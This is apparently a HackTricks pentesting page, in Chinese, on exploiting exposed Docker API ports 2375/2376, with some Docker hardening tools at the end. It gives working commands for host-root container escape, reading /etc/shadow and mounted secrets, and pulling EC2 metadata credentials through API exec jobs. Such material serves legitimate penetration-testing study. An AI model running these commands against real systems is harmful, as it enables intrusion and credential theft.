22 KiB
2375, 2376 Pentesting Docker
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
Docker基础知识
是什么
Docker平台是业界领先的容器平台,用于持续、高速的创新,使组织能够无缝地构建和共享任何应用程序 - 从传统应用到下一代应用,并在任何地方安全地运行它们。
基本的Docker架构
这些信息来自这里。
- containerd是一个容器运行时,可以管理完整的容器生命周期 - 从镜像传输/存储到容器执行、监督和网络。有关containerd的更多信息,请参见下文。
- container-shim处理无头容器,这意味着一旦runc初始化容器,它就会退出,并将容器交给充当中间人的container-shim。
- runc是一个轻量级的通用运行时容器,符合OCI规范。runc由containerd用于根据OCI规范生成和运行容器。它也是libcontainer的重新打包。
- grpc用于containerd和docker-engine之间的通信。
- OCI维护运行时和镜像的OCI规范。当前的Docker版本支持OCI镜像和运行时规范。
基本命令
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd旨在供Docker和Kubernetes以及其他希望在Linux、Windows、Solaris或其他操作系统上抽象系统调用或特定于操作系统功能以运行容器的容器平台使用。考虑到这些用户,我们希望确保containerd只包含他们所需的内容,而不包含不需要的内容。实际上这是不可能的,但至少我们尽力而为。像网络这样的东西超出了containerd的范围。原因是,在构建分布式系统时,网络是一个非常核心的方面。随着SDN和服务发现的发展,网络比在Linux上抽象netlink调用更具平台特定性。
需要注意的是,Docker使用Containerd,但它只提供了Docker提供的功能的子集。例如,ContainerD没有Docker的网络管理功能,也不能单独使用ContainerD创建Docker集群。
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
信息 来自这里
Podman是一个开源的、符合OCI(Open Container Initiative)标准的容器引擎。它由Red Hat推动,并与Docker有一些重要的区别,比如它的无守护进程架构和对无根容器的支持。在本质上,这两个工具都是做同样的事情:管理镜像和容器。Podman的一个目标是拥有与Docker兼容的API。因此,几乎所有Docker CLI的命令在Podman中也是可用的。
在Podman生态系统中,您可能会找到另外两个工具:Buildah和Skopeo。Buildah是一个用于构建容器镜像的CLI工具,而Skopeo是一个用于在镜像上运行操作(如推送、拉取或检查)的CLI工具。请查看GitHub以获取有关这些工具及其与Podman的关系的更多信息。
主要区别
Docker和Podman之间最大的区别是它们的架构。Docker运行在客户端-服务器架构上,而Podman运行在无守护进程架构上。但这意味着什么呢?在使用Docker时,您必须使用Docker CLI,它与后台守护进程(Docker守护进程)进行通信。主要逻辑位于守护进程中,它构建镜像并执行容器。这个守护进程以root权限运行。相比之下,Podman架构允许您在启动容器的用户下运行容器(fork/exec),而此用户不需要任何root权限。因为Podman具有无守护进程架构,每个运行Podman的用户只能看到和修改自己的容器。没有一个公共的守护进程与CLI工具进行通信。
由于Podman没有守护进程,它需要一种方式来支持在后台运行容器。因此,它提供了与systemd的集成,允许通过systemd单元来控制容器。根据Podman的版本,您可以为现有容器生成这些单元,或者生成能够在系统中创建容器的单元。还有另一种与systemd的集成模型,它使systemd能够在容器内部运行。默认情况下,Docker使用systemd来控制守护进程。
第二个主要区别涉及容器的执行方式。使用Podman时,容器在用户的权限下执行,而不是在守护进程下执行。在这一点上,无根容器的概念就发挥作用了,这意味着容器可以在没有root权限的情况下启动。与有根容器相比,无根容器具有巨大的优势,因为它们不在root帐户下运行。这样做的好处是,如果攻击者能够捕获并逃离容器,该攻击者仍然是主机上的普通用户。由用户启动的容器不能拥有比用户本身更多的权限或能力。这增加了一层自然的保护。
{% hint style="info" %} 请注意,由于Podman旨在支持与Docker相同的API,您可以使用与Docker相同的命令,如:
podman --version
podman info
pdoman images ls
podman ls
{% endhint %}
基本信息
当启用时,默认情况下远程API在2375端口上运行。该服务默认情况下不需要身份验证,允许攻击者启动一个特权的Docker容器。通过使用远程API,可以将主机/(根目录)附加到容器上,并读写主机环境中的文件。
默认端口: 2375
PORT STATE SERVICE
2375/tcp open docker
枚举
手动
请注意,为了枚举Docker API,您可以使用docker
命令或者像下面的示例中使用curl
命令:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
如果您可以使用docker
命令与远程docker API进行通信,则可以执行之前评论过的docker命令来与服务进行交互。
{% hint style="info" %}
您可以export DOCKER_HOST="tcp://localhost:2375"
,并避免在docker命令中使用-H
参数。
{% endhint %}
快速提权
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
有时你会看到 2376 用于 TLS 端点。我无法使用 docker 客户端连接到它,但你可以使用 curl 轻松地访问 docker API。
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
如果您想获取更多信息,可以在我复制命令的地方找到更多信息:https://securityboulevard.com/2019/02/abusing-docker-api-socket/
自动化
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
入侵
在下面的页面中,您可以找到逃离Docker容器的方法:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}
通过滥用这个方法,可以逃离容器,您可以在远程机器上运行一个弱容器,逃离容器并入侵机器:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
提权
如果你在使用 Docker 的主机内部,你可以阅读这些信息尝试提升权限。
发现正在运行的 Docker 容器中的秘密信息
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
检查env(环境变量部分)以查找秘密信息,你可能会找到:
- 密码。
- IP地址。
- 端口。
- 路径。
- 其他...。
如果你想提取一个文件:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
保护您的Docker
保护Docker的安装和使用
- 您可以使用工具https://github.com/docker/docker-bench-security来检查您当前的Docker安装。
./docker-bench-security.sh
- 您可以使用工具https://github.com/kost/dockscan来检查您当前的Docker安装。
dockscan -v unix:///var/run/docker.sock
- 您可以使用工具https://github.com/genuinetools/amicontained来查看在不同安全选项下运行容器时容器将具有的权限。这对于了解使用某些安全选项运行容器的影响非常有用:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
保护Docker镜像
- 您可以使用https://github.com/quay/clair的Docker镜像来扫描其他Docker镜像并查找漏洞。
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
保护Dockerfiles
- 您可以使用工具https://github.com/buddy-works/dockerfile-linter来检查您的Dockerfile并找到各种配置错误。每个配置错误都会被赋予一个ID,您可以在https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md中找到如何修复每个错误的方法。
dockerfilelinter -f Dockerfile
- 您可以使用工具https://github.com/replicatedhq/dockerfilelint来检查您的Dockerfile并找到各种配置错误。
dockerfilelint Dockerfile
- 您可以使用工具https://github.com/RedCoolBeans/dockerlint来检查您的Dockerfile并找到各种配置错误。
dockerlint Dockerfile
- 您可以使用工具https://github.com/hadolint/hadolint来检查您的Dockerfile并找到各种配置错误。
hadolint Dockerfile
记录可疑活动
- 您可以使用工具https://github.com/falcosecurity/falco来检测正在运行的容器中的可疑行为。
- 请注意以下代码块中Falco如何编译内核模块并插入。之后,它加载规则并开始记录可疑活动。在这种情况下,它检测到启动了2个特权容器,其中一个具有敏感挂载点,并且几秒钟后它检测到在其中一个容器中打开了一个shell。
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
监控Docker
您可以使用auditd来监控Docker。
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想要访问PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。